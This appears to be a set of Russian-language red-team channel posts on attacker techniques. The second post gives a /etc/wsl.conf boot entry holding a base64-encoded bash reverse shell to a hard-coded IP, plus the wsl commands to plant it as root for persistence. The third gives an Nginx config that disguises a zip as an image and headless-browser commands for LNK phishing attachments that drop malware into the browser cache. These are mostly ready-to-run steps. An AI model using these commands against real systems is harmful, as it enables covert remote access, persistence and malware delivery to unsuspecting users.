Garden Detective

#persistence #standofftalks2026
🔵 Вот и прошёл Standoff Talks 2026, и пора выложить презентацию доклада, с которой выступал 19 июня, — «Нельзя просто так взять и… не использовать Obsidian в атаке».
*️⃣Ссылка на презентацию;
*️⃣Запись выступления.

🔵 Кратко о том, что было в докладе:
➖ ПО для заметок Obsidian и система плагинов;
➖ разбор атаки кампании REF6598;
➖ обход Restricted Mode;
➖ использование Obsidian CLI;
➖ PoC описанного в докладе сценария (хорошее закрепление для любителей оставлять свои "заметки").
*️⃣код PoC (когда-нибудь я буду нормально оформлять репозитории, но это не точно 🥳);
*️⃣ну и конечно, куда же без видео 🚪.

#persistence #t1037 #wsl
🔵 Копаясь в документации Microsoft по подсистеме WSL (Windows Subsystem for Linux), нашёл интересный механизм закрепления. В каждом инстансе можно создать файл /etc/wsl.conf и в секции [boot] указать для параметра command команду, которая будет выполняться с правами root при каждом его запуске.

Пример содержимого файла /etc/wsl.conf (запуск обратной оболочки):
[boot]
command=echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjM3LjEyOS8yMjIyIDA+JjE= | base64 -d | /bin/bash

🔴 Представим сценарий, в котором атакующий удалённо подключился по протоколу RDP к рабочей станции ИТ-администратора под управлением ОС Windows 11, на которой включен WSL2 и настроен Linux-дистрибутив.
Цель злоумышленника — закрепиться в системе через файл /etc/wsl.conf.

Команды (cmd.exe, powershell.exe; запуск без прав Администратора):
wsl -l -v
wsl -u root -d --exec bash -c "echo -e '[boot]\ncommand=echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjM3LjEyOS8yMjIyIDA+JjE= | base64 -d | /bin/bash' > /etc/wsl.conf"
Пссс... После получения обратной оболочки... Напоминаю: из WSL по умолчанию можно запускать исполняемые файлы Windows.

🔵 Дополнительные моменты:
➖После внесения изменений в конфигурационный файл /etc/wsl.conf, полезная нагрузка, указанная в command, выполнится при следующем запуске инстанса WSL. Некоторые нюансы работы экземпляра WSL:
*️⃣в сборке 18267 Microsoft добавили механизм таймаута завершения работы инстанса WSL, и он по умолчанию установлен на 15 секунд. Это означает, что экземпляр будет остановлен через 15 секунд после завершения последнего процесса WSL;
*️⃣если под процессом /init (PID 2) в WSL запущен хотя бы один пользовательский процесс (например, в фоновом режиме), то экземпляр WSL не будет завершён (ссылка);
Пример:
nohup python3 -m http.server 8000 &
*️⃣для того, чтобы принудительно завершить работу определённого дистрибутива или всех сразу, можно использовать эти команды:
wsl -t
wsl --shutdown

#phishing #browser_cache
🔵 На конференции Insomnihack 2025 исследователь компании Orange Cyberdefense представил доклад, посвящённый способу доставки вредоносного ПО с использованием механизмов кэширования веб-браузеров (статья №1, статья №2).
К данной работе хотелось бы добавить некоторое расширение, которое будет рассмотрено ниже. Но сначала кратко пройдёмся по основам.

🔵 Система кэширования веб-браузеров хранит следующие типы данных:
🔹HTML-файлы;
🔹CSS-файлы;
🔹JavaScript-файлы;
🔹медиафайлы;
🔹веб-шрифты.

Однако возникает вопрос: «Как веб-браузеры определяют, какие файлы необходимо добавить в кэш?»
Здесь всё довольно просто — используется HTTP-заголовок Content-Type, который можно контролировать на стороне веб-сервера.

🔴 Настройка сервера атакующей стороны:

Конфигурационный файл Nginx (/etc/nginx/sites-available/default):
...
location /i_am_not_malware.zip {
add_header NOTMALWARE "purple_team_test";
types { } default_type image/jpeg;
}
...

Главная страница веб-сайта (/var/www/html/index.html):
...

...

🔴 Расширение.
В самом докладе рассматривается пример, при котором пользователю требуется перейти на фишинговый веб-сайт, чтобы файл сохранился в кэше. Однако описанный способ можно применить и в другом виде. Например, можно прописать в LNK-файле ("классическое" вложение в письме) команду перехода на сайт с помощью веб-браузера в headless-режиме (см. ниже). В данном случае файл также будет добавлен в кэш.

Команда №1 (Mozilla Firefox; движок Quantum):
"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --url http:///index.html
Примечания:
*️⃣одновременная работа нескольких независимых процессов с одним профилем Firefox невозможна. Поэтому необходимо либо завершить текущий процесс firefox.exe, либо использовать отдельный профиль (создать) для нового процесса:
"C:\Program Files\Mozilla Firefox\firefox.exe" --createprofile sidekick
"C:\Program Files\Mozilla Firefox\firefox.exe" --P sidekick --headless --url http:///index.html
*️⃣Каталог расположения кэша: %LOCALAPPDATA%\Mozilla\Firefox\Profiles\*.*\cache2\entries.

Команды №2 (Microsoft Edge, Google Chrome и т.п.; движок Chromium):
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu --disk-cache-size=1073741824 --dump-dom https:///index.html
"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu --user-data-dir="%USERPROFILE%\AppData\Local\Chrome\purple" --disk-cache-size=1073741824 --dump-dom https:///index.html
Примечания:
*️⃣в headless-режиме Google Chrome необходимо указать отдельный каталог для хранения пользовательских данных (параметр --user-data-dir), иначе после завершения сессии кэш и другие данные будут удалены;
*️⃣если файл достаточно большой, рекомендуется увеличить объём кэша на диске (параметр --disk-cache-size), например, до 100 Мбайт;
*️⃣Каталог расположения кэша MSEdge (headless-режим): %LOCALAPPDATA%\Temp\HeadlessEdge*\Default\Cache\Cache_Data.